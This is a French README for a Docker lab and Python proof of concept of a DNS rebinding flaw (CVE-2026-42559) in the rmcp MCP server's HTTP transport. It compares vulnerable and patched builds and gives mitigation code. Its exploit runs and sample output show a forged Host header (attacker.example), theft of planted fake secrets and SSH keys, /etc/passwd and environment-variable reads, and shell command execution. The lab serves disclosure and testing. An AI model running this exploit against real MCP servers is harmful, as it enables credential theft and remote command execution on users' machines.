
# Docker lab et preuve de concept Python démontrant le rebinding DNS via un en-tête Host non validé dans le transport HTTP Streamable du serveur rmcp (CVE-2026-42559). Inclut des builds vulnérables et corrigés pour les tests.
| Concerné | rmcp — le SDK Rust officiel pour le Model Context Protocol — < 1.4.0 |
| Corrigé dans | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Erreur de validation d'origine), CWE-350 |
| CVSS 3.1 | 8.8 Élevé — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Le transport serveur HTTP Streamable dans rmcp < 1.4.0 n'inspectait jamais
l'en-tête Host entrant. Les serveurs MCP sont généralement liés à loopback et
ne sont protégés que par la politique de même origine du navigateur — ce que le
rebinding DNS contourne :
http://evil.example, servi avec un TTL DNS d'une seconde.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). La requête atterrit
sur le serveur MCP local de la victime, mais le navigateur la traite toujours
comme étant de même origine — pas de pré-vol CORS, et le JavaScript peut lire
chaque réponse.La seule chose qui sépare cette requête d'une requête légitime est l'en-tête
Host : evil.example:8000 au lieu de 127.0.0.1:8000. Sans validation, la page
de l'attaquant obtient une session MCP complète et peut énumérer et appeler chaque
outil exposé par le serveur — lectures de fichiers, écritures, exécution de shell,
tout ce que l'assistant était configuré pour faire.
1.4.0 a ajouté StreamableHttpServerConfig::allowed_hosts, par défaut
["localhost", "127.0.0.1", "::1"], et une passerelle validate_dns_rebinding_headers()
en haut du gestionnaire de requêtes qui répond 403 Forbidden sinon.
.
├── docker-compose.yml # deux services, même source, version rmcp différente
├── mcp-server/ # un serveur MCP « assistant développeur » réaliste
│ ├── Cargo.toml
│ ├── Dockerfile # l'argument de build RMCP_VERSION épingle la crate
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, aucune dépendance
Les deux conteneurs construisent le même src/main.rs avec la même configuration
serveur. La seule différence est la version de crate épinglée, donc le changement
de comportement provient entièrement de la bibliothèque :
| Service | Port | rmcp | Attendu |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | Host falsifié accepté → compromission totale |
patched | 127.0.0.1:8001 | 1.4.0 | Host falsifié → 403 Forbidden |
Le serveur expose whoami, read_file et run_command, et l'image est
pré-remplie avec de faux identifiants dans /home/dev/project/.env et
/home/dev/.ssh/id_ed25519 pour que l'exploit ait quelque chose à voler.
docker compose up -d --build
Exploitez la version vulnérable :
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- l'en-tête Host n'est pas validé
cible http://127.0.0.1:8000/mcp
Host légitime 127.0.0.1:8000
Host rebind mcp-rebind.attacker.example:8000
[*] étape 0 : poignée de main de référence avec l'en-tête Host légitime
[+] 200 OK -- le serveur est opérationnel : rmcp 1.3.0
[*] étape 1 : rejeu de la requête post-rebind (Host : mcp-rebind.attacker.example:8000)
[!] 200 OK -- l'en-tête Host falsifié a été accepté : VULNÉRABLE à CVE-2026-42559
[+] session ouverte depuis une origine étrangère : Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] étape 2 : énumération des outils désormais exposés à la page de l'attaquant
- read_file Lire un fichier depuis le poste de travail
- run_command Exécuter une commande shell sur le poste de travail
- whoami Décrire le poste de travail sur lequel cet assistant s'exécute
[*] étape 3 : invocation des outils comme si la page de l'attaquant était un client MCP local
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] lecture arbitraire et exécution de commandes sur l'hôte victime, depuis une page web
Puis la version corrigée, pour confirmer le correctif :
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] étape 0 : poignée de main de référence avec l'en-tête Host légitime
[+] 200 OK -- le serveur est opérationnel : rmcp 1.4.0
[*] étape 1 : rejeu de la requête post-rebind (Host : mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Interdit : l'en-tête Host n'est pas autorisé
[+] PAS VULNÉRABLE : cette version valide l'en-tête Host (rmcp >= 1.4.0)
Le code de sortie est 1 lorsque la cible est vulnérable et 0 lorsqu'elle ne
l'est pas, donc le script s'intègre directement dans la CI.
Options utiles :
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Arrêt avec docker compose down.
L'exploit ouvre une connexion TCP vers la cible et écrit un en-tête Host
contrôlé par l'attaquant (http.client.putrequest(..., skip_host=True)).
C'est octet pour octet la requête qu'un navigateur rebindé émet — le rebinding
DNS n'est que le mécanisme qui fait envoyer par un navigateur un Host étranger
vers un socket loopback. Le reproduire ainsi maintient le laboratoire à deux
conteneurs et sans infrastructure DNS, tout en testant exactement le chemin de
code concerné par la CVE.
// 1. Mettez à niveau.
// rmcp = "1.4" (ou plus récent)
// 2. Loopback uniquement est la valeur par défaut depuis 1.4.0 — rien à faire
// pour un serveur lié localement.
let config = StreamableHttpServerConfig::default();
// 3. Pour un déploiement public authentique, autorisez vos propres noms.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
Si vous ne pouvez pas mettre à niveau, terminez le point de terminaison MCP
derrière un proxy inverse qui rejette les valeurs Host inconnues, et ne liez
pas le serveur à 0.0.0.0 sans un tel proxy. disable_allowed_hosts() existe
mais réintroduit exactement ce bug.
Tout ici est intentionnellement vulnérable et existe à des fins de recherche et d'éducation. Les conteneurs exposent un outil d'exécution shell par conception — exécutez le laboratoire uniquement sur une machine qui vous appartient, et ne pointez jamais l'exploit vers un hôte que vous n'êtes pas autorisé à tester.